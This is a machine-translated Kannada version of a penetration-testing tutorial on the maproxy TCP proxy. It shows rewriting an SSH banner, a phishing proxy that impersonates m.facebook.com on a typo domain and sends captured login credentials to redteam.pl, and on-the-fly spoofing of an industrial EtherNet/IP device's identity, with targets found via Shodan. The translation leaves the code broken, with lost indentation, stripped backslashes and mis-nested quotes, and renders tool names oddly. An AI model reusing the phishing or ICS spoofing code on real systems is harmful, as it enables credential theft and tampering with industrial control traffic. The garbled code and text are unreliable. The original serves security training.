🥇ಫ್ಲೈನಲ್ಲಿ ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲಾಗುತ್ತಿದೆ

ಕೋರ್ಸ್ ಪ್ರಾರಂಭದ ಮುನ್ನಾದಿನದಂದು ಲೇಖನದ ಅನುವಾದವನ್ನು ಸಿದ್ಧಪಡಿಸಲಾಗಿದೆ “ಪೆಂಟೆಸ್ಟ್. ನುಗ್ಗುವ ಪರೀಕ್ಷಾ ಅಭ್ಯಾಸ".

ಅಮೂರ್ತ

ನಿಯಮಿತ ಒಳಹೊಕ್ಕು ಪರೀಕ್ಷೆ ಮತ್ತು ರೆಡ್ ಟೀಮ್ ಕಾರ್ಯಾಚರಣೆಗಳಿಂದ ಹಿಡಿದು IoT/ICS ಸಾಧನಗಳು ಮತ್ತು SCADA ಅನ್ನು ಹ್ಯಾಕಿಂಗ್ ಮಾಡುವವರೆಗೆ ವಿವಿಧ ರೀತಿಯ ಭದ್ರತಾ ಮೌಲ್ಯಮಾಪನಗಳು ಬೈನರಿ ನೆಟ್‌ವರ್ಕ್ ಪ್ರೋಟೋಕಾಲ್‌ಗಳೊಂದಿಗೆ ಕೆಲಸ ಮಾಡುವುದನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ, ಅಂದರೆ, ಕ್ಲೈಂಟ್ ಮತ್ತು ಗುರಿಯ ನಡುವಿನ ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಮೂಲಭೂತವಾಗಿ ಪ್ರತಿಬಂಧಿಸುವುದು ಮತ್ತು ಮಾರ್ಪಡಿಸುವುದು. ನಮ್ಮಲ್ಲಿ ವೈರ್‌ಶಾರ್ಕ್, ಟಿಸಿಪಿಡಂಪ್ ಅಥವಾ ಸ್ಕೇಪಿಯಂತಹ ಉಪಕರಣಗಳು ಇರುವುದರಿಂದ ನೆಟ್‌ವರ್ಕ್ ಟ್ರಾಫಿಕ್ ಅನ್ನು ಸ್ನಿಫಿಂಗ್ ಮಾಡುವುದು ಕಷ್ಟದ ಕೆಲಸವಲ್ಲ, ಆದರೆ ಮಾರ್ಪಾಡು ಮಾಡುವುದು ಹೆಚ್ಚು ಶ್ರಮದಾಯಕ ಕೆಲಸವೆಂದು ತೋರುತ್ತದೆ ಏಕೆಂದರೆ ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಓದಲು, ಅದನ್ನು ಫಿಲ್ಟರ್ ಮಾಡಲು, ಬದಲಾಯಿಸಲು ನಾವು ಕೆಲವು ರೀತಿಯ ಇಂಟರ್ಫೇಸ್ ಅನ್ನು ಹೊಂದಿರಬೇಕು. ಅದನ್ನು ಹಾರಾಡುತ್ತ ಮತ್ತು ಬಹುತೇಕ ನೈಜ ಸಮಯದಲ್ಲಿ ಗುರಿ ಹೋಸ್ಟ್‌ಗೆ ಹಿಂತಿರುಗಿ ಕಳುಹಿಸಿ. ಹೆಚ್ಚುವರಿಯಾಗಿ, ಅಂತಹ ಸಾಧನವು ಬಹು ಸಮಾನಾಂತರ ಸಂಪರ್ಕಗಳೊಂದಿಗೆ ಸ್ವಯಂಚಾಲಿತವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದಾದರೆ ಮತ್ತು ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳನ್ನು ಬಳಸಿಕೊಂಡು ಗ್ರಾಹಕೀಯಗೊಳಿಸಬಹುದಾದರೆ ಅದು ಸೂಕ್ತವಾಗಿದೆ.

ಒಂದು ದಿನ ನಾನು ಎಂಬ ಉಪಕರಣವನ್ನು ಕಂಡುಹಿಡಿದೆ maproxy, ದಸ್ತಾವೇಜನ್ನು ತ್ವರಿತವಾಗಿ ನನಗೆ ಸ್ಪಷ್ಟಪಡಿಸಿದೆ maproxy - ನನಗೆ ಬೇಕಾಗಿರುವುದು. ಇದು ಸಾಕಷ್ಟು ಸರಳ, ಬಹುಮುಖ ಮತ್ತು ಸುಲಭವಾಗಿ ಕಾನ್ಫಿಗರ್ ಮಾಡಬಹುದಾದ TCP ಪ್ರಾಕ್ಸಿಯಾಗಿದೆ. ನಾನು ಈ ಉಪಕರಣವನ್ನು ICS ಸಾಧನಗಳು (ಬಹಳಷ್ಟು ಪ್ಯಾಕೆಟ್‌ಗಳನ್ನು ಉತ್ಪಾದಿಸುವ) ಸೇರಿದಂತೆ ಹಲವಾರು ಸಮಾಂತರ ಸಂಪರ್ಕಗಳನ್ನು ನಿಭಾಯಿಸಬಹುದೇ ಎಂದು ನೋಡಲು ಸಾಕಷ್ಟು ಸಂಕೀರ್ಣವಾದ ಅಪ್ಲಿಕೇಶನ್‌ಗಳಲ್ಲಿ ಪರೀಕ್ಷಿಸಿದೆ ಮತ್ತು ಉಪಕರಣವು ಉತ್ತಮವಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತದೆ.

ಈ ಲೇಖನವು ಫ್ಲೈ ಬಳಸಿ ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲು ನಿಮಗೆ ಪರಿಚಯಿಸುತ್ತದೆ maproxy.

ಅವಲೋಕನ

ಉಪಕರಣ maproxy ಪೈಥಾನ್‌ನಲ್ಲಿ ಜನಪ್ರಿಯ ಮತ್ತು ಪ್ರಬುದ್ಧ ಅಸಮಕಾಲಿಕ ನೆಟ್‌ವರ್ಕಿಂಗ್ ಫ್ರೇಮ್‌ವರ್ಕ್ ಟೊರ್ನಾಡೊವನ್ನು ಆಧರಿಸಿದೆ.

ಸಾಮಾನ್ಯವಾಗಿ, ಇದು ಹಲವಾರು ವಿಧಾನಗಳಲ್ಲಿ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು:

TCP:TCP - ಎನ್‌ಕ್ರಿಪ್ಟ್ ಮಾಡದ TCP ಸಂಪರ್ಕಗಳು;
TCP:SSL и SSL:TCP - ಏಕಮುಖ ಗೂಢಲಿಪೀಕರಣದೊಂದಿಗೆ;
SSL:SSL - ದ್ವಿಮುಖ ಎನ್‌ಕ್ರಿಪ್ಶನ್.

ಇದು ಗ್ರಂಥಾಲಯವಾಗಿ ಬರುತ್ತದೆ. ತ್ವರಿತ ಪ್ರಾರಂಭಕ್ಕಾಗಿ, ನೀವು ಮುಖ್ಯವನ್ನು ಪ್ರತಿಬಿಂಬಿಸುವ ಉದಾಹರಣೆ ಫೈಲ್ಗಳನ್ನು ಬಳಸಬಹುದು ಗ್ರಂಥಾಲಯ ಕಾರ್ಯಗಳು:

all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py

ಪ್ರಕರಣ 1 - ಸರಳ ಬೈಡೈರೆಕ್ಷನಲ್ ಪ್ರಾಕ್ಸಿ

ಆಧಾರಿತ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ಪೂರ್ವನಿಯೋಜಿತವಾಗಿ ProxyServer() ಎರಡು ವಾದಗಳನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ - ಸಂಪರ್ಕದ ಸ್ಥಳ ಮತ್ತು ಗುರಿ ಪೋರ್ಟ್. server.listen() ಒಂದು ವಾದವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ - ಒಳಬರುವ ಸಂಪರ್ಕವನ್ನು ಕೇಳಲು ಬಂದರು.

ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸುವುದು:

# python tcp2tcp.py

ಪರೀಕ್ಷೆಯನ್ನು ಚಲಾಯಿಸಲು, ನಾವು ನಮ್ಮ ಪ್ರಾಕ್ಸಿ ಸ್ಕ್ರಿಪ್ಟ್ ಮೂಲಕ ಸ್ಥಳೀಯ SSH ಸರ್ವರ್‌ಗೆ ಸಂಪರ್ಕಿಸಲಿದ್ದೇವೆ, ಅದು ಆಲಿಸುತ್ತದೆ 2222/tcp ಪೋರ್ಟ್ ಮತ್ತು ಪ್ರಮಾಣಿತ ಪೋರ್ಟ್‌ಗೆ ಸಂಪರ್ಕಿಸುತ್ತದೆ 22/tcp SSH ಸರ್ವರ್‌ಗಳು:

ನಮ್ಮ ಉದಾಹರಣೆ ಸ್ಕ್ರಿಪ್ಟ್ ನೆಟ್ವರ್ಕ್ ಟ್ರಾಫಿಕ್ ಅನ್ನು ಯಶಸ್ವಿಯಾಗಿ ಪ್ರಾಕ್ಸಿ ಮಾಡಿದೆ ಎಂದು ಸ್ವಾಗತ ಬ್ಯಾನರ್ ನಿಮಗೆ ತಿಳಿಸುತ್ತದೆ.

ಪ್ರಕರಣ 2 - ಡೇಟಾ ಮಾರ್ಪಾಡು

ಮತ್ತೊಂದು ಡೆಮೊ ಸ್ಕ್ರಿಪ್ಟ್ logging_proxy.py ನೆಟ್ವರ್ಕ್ ಡೇಟಾದೊಂದಿಗೆ ಸಂವಹನ ನಡೆಸಲು ಸೂಕ್ತವಾಗಿದೆ. ನಿಮ್ಮ ಗುರಿಯನ್ನು ಸಾಧಿಸಲು ನೀವು ಮಾರ್ಪಡಿಸಬಹುದಾದ ವರ್ಗ ವಿಧಾನಗಳನ್ನು ಫೈಲ್‌ನಲ್ಲಿರುವ ಕಾಮೆಂಟ್‌ಗಳು ವಿವರಿಸುತ್ತವೆ:

ಅತ್ಯಂತ ಆಸಕ್ತಿದಾಯಕ ವಿಷಯ ಇಲ್ಲಿದೆ:

on_c2p_done_read - ಕ್ಲೈಂಟ್‌ನಿಂದ ಸರ್ವರ್‌ಗೆ ಹೋಗುವ ಮಾರ್ಗದಲ್ಲಿ ಡೇಟಾವನ್ನು ಪ್ರತಿಬಂಧಿಸಲು;
on_p2s_done_read - ವ್ಯತಿರಿಕ್ತ.

ಸರ್ವರ್ ಕ್ಲೈಂಟ್‌ಗೆ ಹಿಂತಿರುಗುವ SSH ಬ್ಯಾನರ್ ಅನ್ನು ಬದಲಾಯಿಸಲು ಪ್ರಯತ್ನಿಸೋಣ:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಕಾರ್ಯಗತಗೊಳಿಸಿ:

ನೀವು ನೋಡುವಂತೆ, ಕ್ಲೈಂಟ್‌ಗೆ SSH ಸರ್ವರ್ ಹೆಸರನ್ನು ಬದಲಾಯಿಸಿರುವುದರಿಂದ ಕ್ಲೈಂಟ್ ದಾರಿತಪ್ಪಿಸಲಾಗಿದೆ «DumnySSH».

ಪ್ರಕರಣ 3 - ಸರಳ ಫಿಶಿಂಗ್ ವೆಬ್ ಪುಟ

ಈ ಉಪಕರಣವನ್ನು ಬಳಸಲು ಅಂತ್ಯವಿಲ್ಲದ ಮಾರ್ಗಗಳಿವೆ. ಈ ಬಾರಿ ರೆಡ್ ಟೀಮ್ ಕಾರ್ಯಾಚರಣೆಗಳ ಕಡೆಯಿಂದ ಹೆಚ್ಚು ಪ್ರಾಯೋಗಿಕವಾದ ಯಾವುದನ್ನಾದರೂ ಕೇಂದ್ರೀಕರಿಸೋಣ. ಲ್ಯಾಂಡಿಂಗ್ ಪುಟವನ್ನು ಅನುಕರಿಸೋಣ m.facebook.com ಮತ್ತು ಉದ್ದೇಶಪೂರ್ವಕ ಮುದ್ರಣದೋಷದೊಂದಿಗೆ ಕಸ್ಟಮ್ ಡೊಮೇನ್ ಅನ್ನು ಬಳಸಿ, ಉದಾಹರಣೆಗೆ, m.facebok.com. ಪ್ರದರ್ಶನ ಉದ್ದೇಶಗಳಿಗಾಗಿ, ಡೊಮೇನ್ ನಮ್ಮಿಂದ ನೋಂದಾಯಿಸಲ್ಪಟ್ಟಿದೆ ಎಂದು ಭಾವಿಸೋಣ.

ನಾವು ಫೇಸ್‌ಬುಕ್ ಸರ್ವರ್‌ಗೆ ನಮ್ಮ ಬಲಿಪಶುಗಳ ಪ್ರಾಕ್ಸಿ ಮತ್ತು SSL ಸ್ಟ್ರೀಮ್‌ನೊಂದಿಗೆ ಎನ್‌ಕ್ರಿಪ್ಟ್ ಮಾಡದ ನೆಟ್‌ವರ್ಕ್ ಸಂಪರ್ಕವನ್ನು ಸ್ಥಾಪಿಸಲಿದ್ದೇವೆ (31.13.81.36) ಈ ಉದಾಹರಣೆಯನ್ನು ಕೆಲಸ ಮಾಡಲು, ನಾವು HTTP ಹೋಸ್ಟ್ ಹೆಡರ್ ಅನ್ನು ಬದಲಾಯಿಸಬೇಕಾಗಿದೆ ಮತ್ತು ಸರಿಯಾದ ಹೋಸ್ಟ್ ಹೆಸರನ್ನು ಇಂಜೆಕ್ಟ್ ಮಾಡಬೇಕಾಗಿದೆ, ಮತ್ತು ನಾವು ಪ್ರತಿಕ್ರಿಯೆ ಸಂಕೋಚನವನ್ನು ಸಹ ನಿಷ್ಕ್ರಿಯಗೊಳಿಸುತ್ತೇವೆ ಆದ್ದರಿಂದ ನಾವು ವಿಷಯಗಳನ್ನು ಸುಲಭವಾಗಿ ಪ್ರವೇಶಿಸಬಹುದು. ಅಂತಿಮವಾಗಿ ನಾವು HTML ಫಾರ್ಮ್ ಅನ್ನು ಬದಲಾಯಿಸುತ್ತೇವೆ ಇದರಿಂದ ಲಾಗಿನ್ ರುಜುವಾತುಗಳನ್ನು Facebook ನ ಸರ್ವರ್‌ಗಳ ಬದಲಿಗೆ ನಮಗೆ ಕಳುಹಿಸಲಾಗುತ್ತದೆ:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/kn/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

ಸಾರಾಂಶದಲ್ಲಿ:

ನೀವು ನೋಡುವಂತೆ, ನಾವು ಮೂಲ ಸೈಟ್ ಅನ್ನು ಯಶಸ್ವಿಯಾಗಿ ಬದಲಾಯಿಸಲು ಸಾಧ್ಯವಾಯಿತು.

ಪ್ರಕರಣ 4 - ಪೋರ್ಟಿಂಗ್ ಎತರ್ನೆಟ್/ಐಪಿ

ಪ್ರೊಗ್ರಾಮೆಬಲ್ ಕಂಟ್ರೋಲರ್‌ಗಳು (PLC), I/O ಮಾಡ್ಯೂಲ್‌ಗಳು, ಡ್ರೈವ್‌ಗಳು, ರಿಲೇಗಳು, ಲ್ಯಾಡರ್ ಪ್ರೋಗ್ರಾಮಿಂಗ್ ಪರಿಸರಗಳು ಮತ್ತು ಹೆಚ್ಚಿನವುಗಳಂತಹ ಕೈಗಾರಿಕಾ ಸಾಧನಗಳು ಮತ್ತು ಸಾಫ್ಟ್‌ವೇರ್ (ICS/SCADA) ನೊಂದಿಗೆ ನಾನು ಸ್ವಲ್ಪ ಸಮಯದಿಂದ ವ್ಯವಹರಿಸುತ್ತಿದ್ದೇನೆ. ಕೈಗಾರಿಕಾ ವಿಷಯಗಳನ್ನು ಇಷ್ಟಪಡುವವರಿಗೆ ಈ ಪ್ರಕರಣ. ಅಂತಹ ಪರಿಹಾರಗಳನ್ನು ಹ್ಯಾಕ್ ಮಾಡುವುದು ನೆಟ್ವರ್ಕ್ ಪ್ರೋಟೋಕಾಲ್ಗಳೊಂದಿಗೆ ಸಕ್ರಿಯವಾಗಿ ಆಡುವುದನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ಕೆಳಗಿನ ಉದಾಹರಣೆಯಲ್ಲಿ, ನೀವು ICS/SCADA ನೆಟ್‌ವರ್ಕ್ ಟ್ರಾಫಿಕ್ ಅನ್ನು ಹೇಗೆ ಮಾರ್ಪಡಿಸಬಹುದು ಎಂಬುದನ್ನು ತೋರಿಸಲು ನಾನು ಬಯಸುತ್ತೇನೆ.

ಇದನ್ನು ಮಾಡಲು, ನಿಮಗೆ ಈ ಕೆಳಗಿನವುಗಳು ಬೇಕಾಗುತ್ತವೆ:

ನೆಟ್‌ವರ್ಕ್ ಸ್ನಿಫರ್, ಉದಾಹರಣೆಗೆ, ವೈರ್‌ಶಾರ್ಕ್;
ಈಥರ್ನೆಟ್/ಐಪಿ ಅಥವಾ ಕೇವಲ ಒಂದು SIP ಸಾಧನ, ನೀವು ಶೋಡಾನ್ ಸೇವೆಯನ್ನು ಬಳಸಿಕೊಂಡು ಅದನ್ನು ಕಂಡುಹಿಡಿಯಬಹುದು;
ನಮ್ಮ ಸ್ಕ್ರಿಪ್ಟ್ ಆಧರಿಸಿದೆ maproxy.

ಮೊದಲಿಗೆ, CIP (ಕಾಮನ್ ಇಂಡಸ್ಟ್ರಿಯಲ್ ಪ್ರೊಟೊಕಾಲ್) ನಿಂದ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರತಿಕ್ರಿಯೆಯು ಹೇಗೆ ಕಾಣುತ್ತದೆ ಎಂಬುದನ್ನು ನೋಡೋಣ:

Ethernet/IP ಪ್ರೋಟೋಕಾಲ್ ಅನ್ನು ಬಳಸಿಕೊಂಡು ಸಾಧನ ಗುರುತಿಸುವಿಕೆಯನ್ನು ಸಾಧಿಸಲಾಗುತ್ತದೆ, ಇದು CIP ಯಂತಹ ನಿಯಂತ್ರಣ ಪ್ರೋಟೋಕಾಲ್‌ಗಳನ್ನು ಸುತ್ತುವ ಕೈಗಾರಿಕಾ ಎತರ್ನೆಟ್ ಪ್ರೋಟೋಕಾಲ್‌ನ ವರ್ಧಿತ ಆವೃತ್ತಿಯಾಗಿದೆ. ಸ್ಕ್ರೀನ್‌ಶಾಟ್‌ನಲ್ಲಿ ಗೋಚರಿಸುವ ಹೈಲೈಟ್ ಮಾಡಿದ ಐಡಿ ಹೆಸರನ್ನು ನಾವು ಬದಲಾಯಿಸಲಿದ್ದೇವೆ "ಈಥರ್ನೆಟ್‌ಗಾಗಿ NI-IndComm" ನಮ್ಮ ಪ್ರಾಕ್ಸಿ ಸ್ಕ್ರಿಪ್ಟ್ ಬಳಸಿ. ನಾವು ಸ್ಕ್ರಿಪ್ಟ್ ಅನ್ನು ಮರುಬಳಕೆ ಮಾಡಬಹುದು logging_proxy.py ಮತ್ತು ಅದೇ ರೀತಿಯಲ್ಲಿ ವರ್ಗ ವಿಧಾನವನ್ನು ಮಾರ್ಪಡಿಸಿ on_p2s_done_read, ಏಕೆಂದರೆ ಕ್ಲೈಂಟ್‌ನಲ್ಲಿ ಬೇರೆ ಗುರುತಿನ ಹೆಸರು ಗೋಚರಿಸಬೇಕೆಂದು ನಾವು ಬಯಸುತ್ತೇವೆ.

ಕೋಡ್:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

ಮೂಲಭೂತವಾಗಿ, ನಾವು ಸಾಧನವನ್ನು ಗುರುತಿಸಲು ಎರಡು ಬಾರಿ ಕೇಳಿದ್ದೇವೆ, ಎರಡನೆಯ ಪ್ರತಿಕ್ರಿಯೆಯು ಮೂಲವಾಗಿದೆ ಮತ್ತು ಮೊದಲನೆಯದನ್ನು ಹಾರಾಟದಲ್ಲಿ ಮಾರ್ಪಡಿಸಲಾಗಿದೆ.

ಮತ್ತು ಕೊನೆಯದು

ನನ್ನ ಅಭಿಪ್ರಾಯದಲ್ಲಿ maproxy ಅನುಕೂಲಕರ ಮತ್ತು ಸರಳವಾದ ಸಾಧನ, ಇದನ್ನು ಪೈಥಾನ್‌ನಲ್ಲಿ ಸಹ ಬರೆಯಲಾಗಿದೆ, ಆದ್ದರಿಂದ ನೀವು ಸಹ ಇದನ್ನು ಬಳಸುವುದರಿಂದ ಪ್ರಯೋಜನ ಪಡೆಯಬಹುದು ಎಂದು ನಾನು ನಂಬುತ್ತೇನೆ. ಸಹಜವಾಗಿ, ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಲು ಮತ್ತು ಮಾರ್ಪಡಿಸಲು ಹೆಚ್ಚು ಸಂಕೀರ್ಣವಾದ ಸಾಧನಗಳಿವೆ, ಆದರೆ ಅವುಗಳಿಗೆ ಹೆಚ್ಚಿನ ಗಮನ ಬೇಕಾಗುತ್ತದೆ ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ನಿರ್ದಿಷ್ಟ ಬಳಕೆಯ ಸಂದರ್ಭಕ್ಕಾಗಿ ರಚಿಸಲಾಗುತ್ತದೆ, ಉದಾ. ಮುರೇನಾ, ಮೊಡ್ಲಿಷ್ಕಾ ಅಥವಾ ದುಷ್ಟಜಿನ್ಕ್ಸ್ ಮೂರನೆಯದನ್ನು ಹೋಲುವ ಪ್ರಕರಣಗಳಿಗೆ, ಅಥವಾ ಸೋಫಾ ಕೊನೆಯ ಪ್ರಕರಣಕ್ಕೆ. ಒಂದು ರೀತಿಯಲ್ಲಿ ಅಥವಾ ಇನ್ನೊಂದು ರೀತಿಯಲ್ಲಿ, ಸಹಾಯದಿಂದ maproxy ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಪ್ರತಿಬಂಧಿಸಲು ನಿಮ್ಮ ಆಲೋಚನೆಗಳನ್ನು ನೀವು ತ್ವರಿತವಾಗಿ ಕಾರ್ಯಗತಗೊಳಿಸಬಹುದು, ಏಕೆಂದರೆ ಉದಾಹರಣೆ ಸ್ಕ್ರಿಪ್ಟ್‌ಗಳು ತುಂಬಾ ಸ್ಪಷ್ಟವಾಗಿವೆ.

ವಿಂಡೋಸ್ AD ನಲ್ಲಿ ದೃಢೀಕರಣ ಕಾರ್ಯವಿಧಾನಗಳನ್ನು ಪರೀಕ್ಷಿಸಲಾಗುತ್ತಿದೆ

ಮೂಲ: www.habr.com

ಹಾರಾಡುತ್ತ ನೆಟ್‌ವರ್ಕ್ ಡೇಟಾವನ್ನು ಪ್ರಕ್ರಿಯೆಗೊಳಿಸಿ